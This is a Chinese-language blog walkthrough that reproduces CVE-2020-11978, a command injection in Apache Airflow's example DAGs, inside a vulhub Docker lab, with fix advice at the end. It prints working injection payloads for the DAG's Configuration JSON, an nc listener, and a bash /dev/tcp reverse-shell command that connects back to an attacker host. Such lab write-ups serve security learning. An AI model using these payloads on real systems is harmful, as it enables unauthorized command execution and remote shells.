🍬 博主介绍
👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
文章目录
- 🍬 博主介绍
- 一、漏洞编号
- 二、影响范围
- 三、漏洞描述
- 四、环境搭建
- 1、进入CVE-2020-11978环境
- 2、启动CVE-2020-11978环境
- 3、查看CVE-2020-11978环境
- 4、访问CVE-2020-11978环境
- 5、查看CVE-2020-11978提示信息
- 6、关闭CVE-2020-11978环境
- 五、漏洞复现
- 1、打开example_trigger_target_dag
- 2、进入到调试页面
- 3、注入代码
- 4、执行成功
- 5、文件创建成功
- 六、Getshell
- 1、攻击机监听
- 2、靶机连接
- 1.反弹shell命令
- 2.构造payload
- 3、进入到调试页面
- 4、注入代码
- 5、执行成功
- 3、getshell成功
- 七、修复建议
- 八、相关资源
一、漏洞编号
CVE-2020-11978
二、影响范围
Apache Airflow <= 1.10.10
三、漏洞描述
Airflow 是一个使用 python 语言编写的 data pipeline 调度和监控工作流的平台。Airflow 是通过 DAG(Directed acyclic graph 有向无环图)来管理任务流程的任务调度工具, 不需要知道业务数据的具体内容,设置任务的依赖关系即可实现任务调度。
这个平台拥有和 Hive、Presto、MySQL、HDFS、Postgres 等数据源之间交互的能力,并且提供了钩子(hook)使其拥有很好地扩展性。除了一个命令行界面,该工具还提供了一个基于 Web 的用户界面可以可视化管道的依赖关系、监控进度、触发任务等。
Apache Airflow是一款开源的,分布式任务调度框架。在其1.10.10版本及以前的示例DAG中存在一处命令注入漏洞,未授权的访问者可以通过这个漏洞在Worker中执行任意命令。
四、环境搭建
1、进入CVE-2020-11978环境
cd vulhub/airflow/CVE-2020-11978
2、启动CVE-2020-11978环境
docker-compose up -d
3、查看CVE-2020-11978环境
这里需要注意一下,由于漏洞环境比较大,启动的时间很慢,并不是一下子就能启动好的。
docker-compose ps
下面这个图是我启动之后立马查看的,还有还环境没有起来
这是我隔了一段时间之后再次查看的图片,这个时候又多了一个8080端口
4、访问CVE-2020-11978环境
http://192.168.233.128:8080/admin/
5、查看CVE-2020-11978提示信息
cat README.md
6、关闭CVE-2020-11978环境
复现完记得关闭环境
docker-compose down
五、漏洞复现
1、打开example_trigger_target_dag
访问http://192.168.25.130:8080进入airflow管理端,将example_trigger_target_dag前面的Off改为On。
2、进入到调试页面
进入example_trigger_target_dag页面,点击Trigger DAG,进入到调试页面。
3、注入代码
在Configuration JSON中输入:
{"message":"'\";touch /tmp/what_the_fuck;#"}
再点击Trigger执行dag。
4、执行成功
等几秒可以看到执行成功,显示success,说明命令成功。
5、文件创建成功
进入容器查看,发现成功创建PowerShell.txt文件创建成功
docker ps
docker exec -it 容器id /bin/bash
ls /tmp
六、Getshell
1、攻击机监听
nc -lvvp 55555
Nc反弹shell在文末给出
2、靶机连接
1.反弹shell命令
Bash反弹shell详解在文末给出
bash -i >& /dev/tcp/192.168.233.1/55555 0>&1
2.构造payload
{"message":"'\";bash -i >& /dev/tcp/192.168.233.1/55555 0>&1;#"}
3、进入到调试页面
进入example_trigger_target_dag页面,点击Trigger DAG,进入到调试页面。
4、注入代码
在Configuration JSON中输入payload
{"message":"'\";bash -i >& /dev/tcp/192.168.233.1/55555 0>&1;#"}
再点击Trigger执行dag。
5、执行成功
等几秒可以看到执行成功,一直显示running,我们进入监听端看一下。
3、getshell成功
进入监听端发现shell反弹过来了
执行ls /tmp发现我们之前创建的文件
七、修复建议
1、升级到最新版本
2、删除或禁用默认DAG(可自行删除或在配置文件中禁用默认DAGload_examples=False)
八、相关资源
1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)
4、[ 隧道技术 ] 反弹shell的集中常见方式(二)bash 反弹shell
5、[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell